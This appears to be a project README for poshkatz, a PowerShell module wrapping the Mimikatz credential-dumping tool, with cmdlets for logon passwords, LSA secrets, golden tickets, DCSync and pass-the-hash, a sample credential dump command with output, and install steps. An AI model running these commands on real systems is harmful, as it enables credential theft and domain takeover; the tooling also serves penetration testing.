poshkatz is a PowerShell module for Mimikatz that has a number of cool features!
Brought to you by:
Adam Driscoll
Lee Berg
Autocompletes mimikatz commands, parameters and paramter values.
- Export-MKKerberosTicket
- Get-MKCredentialVault
- Get-MKCredentialVaultCredential
- Get-MKKerberosTicket
- Get-MKLogonPassword
- Get-MKLsaCache
- Get-MKLsaSam
- Get-MKLsaSecret
- Get-MKTicket
- Grant-MKKerberosGoldenTicket
- Invoke-MKDcSync
- Invoke-MKPassTheHash
PS C:\> mimikatz sekurlsa::logonpassword exit | ConvertFrom-Mimikatz -OutputType LogonPasswords
Domain : Window Manager
NTLMHash :
UserName : DWM-1
SID : S-1-5-90-1
Password : (null)
LogonTime : 10/16/2018 11:27:50 AM
SHA1Hash :
LogonServer : (null)
AuthenticationId : 0 ; 48064 (00000000:0000bbc0)
Session : Interactive from 1
Domain : IRONMAN
NTLMHash :
UserName : IRONMANDC1$
SID : S-1-5-20
Password : (null)
LogonTime : 10/16/2018 11:27:50 AM
SHA1Hash :
LogonServer : (null)
AuthenticationId : 0 ; 996 (00000000:000003e4)
Session : Service from 0
- Install git
- Install posh-git
install-module posh-git
- Build or Download a fresh copy of mimikatz
- Import the poshkatz module
Import-Module poshkatz.psd1
- Ensure mimikatz.exe is in your path
- Have some fun
Get-MKLogonPassword
This project was heavily based on posh-git.
React
Typescript
Django
Laravel
Facebook
Microsoft
Google
Alibaba
D3
Tencent